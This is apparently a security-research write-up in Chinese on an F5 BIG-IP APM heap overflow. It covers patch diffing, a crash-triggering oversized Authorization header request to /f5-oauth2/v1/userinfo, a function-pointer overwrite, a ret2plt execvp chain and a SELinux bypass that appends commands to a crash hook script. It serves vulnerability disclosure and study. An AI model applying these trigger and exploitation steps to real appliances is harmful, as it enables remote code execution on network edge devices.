CVE-2026-94127 是什么,“刷新”又怎么会有 CVE?
F5 是一家总部位于西雅图的厂商,它悄无声息地承担着多得令人担忧的互联网基础设施。该公司开发的 BIG-IP 是一种应用交付控制器(ADC),部署在应用前方,决定每个请求应被送往何处。
除了基本的负载均衡,一套典型的 BIG-IP 部署还会处理四层和七层流量管理、SSL/TLS 卸载、DNS 与全局服务器负载均衡;另外,视采购部门批准了多少许可证而定,它还可能充当 Web 应用防火墙(Advanced WAF),以及远程访问与单点登录网关(APM)。
所有这些能力都运行在 F5 自己的 TMOS 操作系统之上,并通过基于 Web 的 Configuration Utility(TMUI)和 iControl REST API 进行管理。
换句话说,它位于网络最边缘的位置,终止 TLS、以明文查看你的全部流量,还掌握着身份认证的钥匙。
9月22日,F5 发布了以下公告:

F5 官方公告(K000162605)列出的受影响版本如下:
| 产品 | 分支 | 已知存在漏洞的版本 | 引入修复的版本 |
|---|---|---|---|
| BIG-IP APM | 21.x | 21.1.0 | Hotfix-BIGIP-21.1.0.2.0.30.22-ENG.iso |
| BIG-IP APM | 17.x | 17.5.0 – 17.5.1 17.1.0 – 17.1.3 | Hotfix-BIGIP-17.5.1.9.0.160.12-ENG.iso Hotfix-BIGIP-17.1.3.5.0.41.14-ENG.iso |
| BIG-IP(所有其他模块) | 全部分支 | 无 | 不适用 |
| BIG-IQ Centralized Management | 全部分支 | 无 | 不适用 |
搭建场景
为了支撑分析,我们搭建了一台 F5 BIG-IP 设备,创建了配置 OAuth 配置文件的虚拟服务器,并按照惯常的“到底改了什么”流程,对比以下版本:
- 易受攻击版本:BIG-IP 21.1.0,build 0.0.38
- 差异对照版本:BIG-IP 21.1.0.2,hotfix build 0.30.22
靠补丁差分逃离地狱
与其他任何设计精美的安全产品一样(咳,Citrix,咳),这次的重点目标似乎又是一个体积庞大的 ELF 文件。

把这些文件直接扔进 IDA,再启动Diaphora。

Diaphora 完成了比较:
--- unpatched/tmm64.pgo_use/sub_10B01C0.c
+++ patched/tmm64.pgo_use/sub_10B0E00.c
@@ -163,10 +160,20 @@
-LABEL_17:
- if ( !v13 )
+LABEL_26:
+ if ( v20 > 0x4100 )
+ {
+ v15 = 5;
+ v26 = 29;
+ v27 = "Authorization header too big.";
+ if ( *(_DWORD *)(v5 + 616) )
+ goto LABEL_19;
+ goto LABEL_30;
+ }
+ if ( !v20 )
{
-LABEL_21:
- v22 = *(_QWORD *)(v5 + 520);
- goto LABEL_22;
+LABEL_11:
+ v10 = *(_QWORD *)(v5 + 520);
+ goto LABEL_12;
}
- if ( sub_1527C00(v77, v84, v85, v8, v13, 0) == v13 )
+ if ( sub_152E2C0(v72, v81, v82, v8, v20, 0) == v20 )
修复后代码:
__int64 __fastcall sub_1147D80(__int64 a1, unsigned __int64 a2, __int64 a3)
{
[..SNIP..]
++*(_QWORD *)(qword_51F36C0 + 1352);
a3 = *(_QWORD *)(a1 + 48);
if ( (*(_WORD *)(a3 - 8) & 0x3FFF) == 0 )
goto LABEL_68;
++*(_QWORD *)(*(_QWORD *)(a3 + 320) + 592LL);
if ( v7 )
++*(_QWORD *)(v7 + 592);
a2 = 66;
v8 = (char *)umalloc(0x4100, 66, 0); // [1] allocate a heap buffer of size 0x4100
if ( !v8 )
{
v15 = 1;
v26 = 30;
v27 = "Out of memory for UserInfo req";
if ( *(_DWORD *)(v5 + 616) )
goto LABEL_19;
goto LABEL_30;
}
if ( *(_WORD *)(v3 + 442) <= 0x1Du )
goto LABEL_11;
v9 = *(_WORD *)(v3 + 502);
if ( v9 == 0xFFFF )
goto LABEL_11;
a3 = v9;
if ( *(_WORD *)(v3 + 440) <= v9 )
goto LABEL_11;
a2 = *(_QWORD *)(v3 + 428);
a3 = v9 >> 4;
v17 = *(_QWORD *)(a2 + 8 * a3) + 24LL * (v9 & 0xF);
if ( !v17 )
goto LABEL_11;
v18 = *(unsigned __int8 *)(v17 + 18);
a3 = *(_DWORD *)(v17 + 8) + (unsigned int)*(unsigned __int16 *)(v17 + 16);
v19 = *(_DWORD *)(v17 + 4) - a3;
if ( v19 == v18 )
goto LABEL_11;
v20 = (unsigned int)(v19 - v18); // [2] extract the Authorization header size
v21 = *(_QWORD *)(v3 + 12);
if ( v21 )
{
v22 = *(_QWORD *)(v21 + 8) + *(unsigned __int16 *)(v21 + 6);
v82 = *(_QWORD *)(v3 + 12);
v81 = v22;
a3 = (unsigned int)(*(_DWORD *)v17 + a3);
v23 = *(unsigned __int16 *)(v21 + 6);
v24 = *(_QWORD *)(v21 + 8);
a2 = a3 + v22;
if ( a2 >= v24 + v23 && a2 < (unsigned __int64)*(unsigned __int16 *)(v21 + 4) + v23 + v24 )
{
v81 = a2;
goto LABEL_26;
}
}
else
{
v81 = 0;
v82 = 0;
}
a2 = (unsigned __int64)&v81;
v25 = sub_15C4E80(v72, &v81);
v15 = v25;
if ( v25 != 18 && v25 )
{
if ( *(_DWORD *)(v5 + 616) )
goto LABEL_19;
v26 = 38;
v27 = "Failed to lookup authorization header.";
goto LABEL_30;
}
LABEL_26:
if ( v20 > 0x4100 ) // [3] check the header size to not be more than 0x4100
{
v15 = 5;
v26 = 29;
v27 = "Authorization header too big."; // [4] error message
if ( *(_DWORD *)(v5 + 616) )
goto LABEL_19;
goto LABEL_30;
}
if ( !v20 )
{
LABEL_11:
v10 = *(_QWORD *)(v5 + 520);
goto LABEL_12;
}
// [5] copy the Authorization header value to the heap buffer which is v8
if ( memcpy_wrapper(v72, v81, v82, v8, v20, 0) == v20 )
{
if ( v20 <= 6 || memcmp(v8, "Bearer ", 7u) )
{
v13 = 43;
v14 = "Authorization header must be of type Bearer";
LABEL_18:
v15 = 4;
sub_112F7C0(a1, v73, v5, 2, v14, v13);
goto LABEL_19;
}
[..SNIP..]
- 在 [1] 处,代码通过一次
umalloc调用(姑且把它视作malloc的包装器)分配大小为0x4100的堆缓冲区,并将其保存在变量v8中。 - 在 [2] 处,代码访问一个对象成员;我们推测它是所提供
Authorization:HTTP 标头的长度,并将其保存到变量v20中。 - 在 [3] 处,代码检查这个长度值是否不超过
0x4100。 - 在 [4] 处,如果长度更大,代码便抛出错误。
- 在 [5] 处,如果没有超限,代码就把
Authorization标头值复制到堆缓冲区(v8)中。
事情很简单:修复前,程序在把值复制到堆缓冲区之前没有检查长度;现在有了。
再说得简单一些:这台企业安全设备存在一个安全漏洞,其根源是 20 年前就已为人熟知的基础型内存破坏原语,而且它偏偏出现在安全凭据的处理逻辑中。
如何触发它?
现在已经理解漏洞的本质,下一步就是实际触发它。
公告已经提到这里涉及 OAuth,而 F5 自己的 OAuth 文档提供了我们需要的全部细节。
首先,是启用 Access Policy Manager(APM)OAuth 配置文件的命令:

同一页面还给出了触发 OAuth 流程时需要访问的 HTTP 端点(这为“隐匿式安全”提供了压倒性的论据):


我们选择了 /f5-oauth2/v1/userinfo
配置好 OAuth 配置文件后,只需发送以下请求,并让 Authorization 标头大于 0x4100 字节,就能触发漏洞:
GET /f5-oauth2/v1/userinfo HTTP/1.1
Host: bigip
Authorization: Bearer AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Connection: close
程序立刻崩溃了。
如下所示,ufree 在试图解引用已损坏的堆元数据时触发了断言:
rbx 0x30966e0 50947808
rcx 0x0 0
rdx 0x0 0
rsi 0x7feed66cd1c0 140663776399808
rdi 0x0 0
rbp 0x40000a150000 0x40000a150000
rsp 0x4000003fc880 0x4000003fc880
r8 0xa 10
r9 0x3442fac 54800300
r12 0x0 0
r13 0x5 5
r14 0x41414141 1094795585
r15 0x400004d62200 70368825319936
rip 0x16350b6 0x16350b6
#0 0x00000000016350b6 in ?? ()
#1 0x00000000016350d4 in tmm_assert ()
#2 0x000000000082be0a in ufree ()
#3 0x00000000010ba559 in ?? ()
#4 0x0000000000d5c35b in ?? ()
#5 0x0000000000dd8d33 in ?? ()
#6 0x0000000000858aee in ?? ()
#7 0x00000000008519c4 in ?? ()
#8 0x000000000084fc00 in ?? ()
我们发现系统范围的 ASLR 居然已经启用。更令人意外的是,与某些其他产品不同(咳,Citrix,咳),F5 BIG-IP 上的堆和栈都不可执行。
幸运的是,它没有 PIE:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
在大约 90% 的运行中,一个带有函数指针成员的对象会落在缓冲区之后不远处,具体位置是 buffer + 0x4ff8。
下面大致是我们推测的对象成员布局:
+0x00 callback function
+0x08 other fields
+0x10 other fields
以下代码会调用被覆盖的函数指针:
mov rdi, [rbx+18h] ; rdi = address of the heap object
mov r9, [rdi] ; r9 = object->callback
call r9 ; call the overwritten address
做一点基础的栈迁移,就能把对齐和参数安排到位,我们的第一个想法是经典的 ret2plt:串联 gadget 来调用 execvp:
execvp(
"/bin/sh",
(char *[]) { "sh", "-c", "touch /watchTowr.txt", NULL }
);

绕过 SELinux
在寻找绕过 SELinux 的办法时,可以尝试直接把文件写到磁盘,再放置一个 Web shell,但是我们发现 Web 服务器也受 SELinux 约束。
于是,继续四处探查并监控进程,注意到每当目标进程崩溃时,都会有一个 Bash 脚本被调用:
bash /etc/bigstart/scripts/tmm.finish
决定再次利用 ret2plt;这次,把想执行的命令追加到钩子脚本本身。
以下是我们发起的调用:
fd = open("/etc/bigstart/scripts/tmm.finish", O_WRONLY | O_APPEND);
write(fd, "/usr/bin/touch /watchTowr.txt;", 30);


最新评论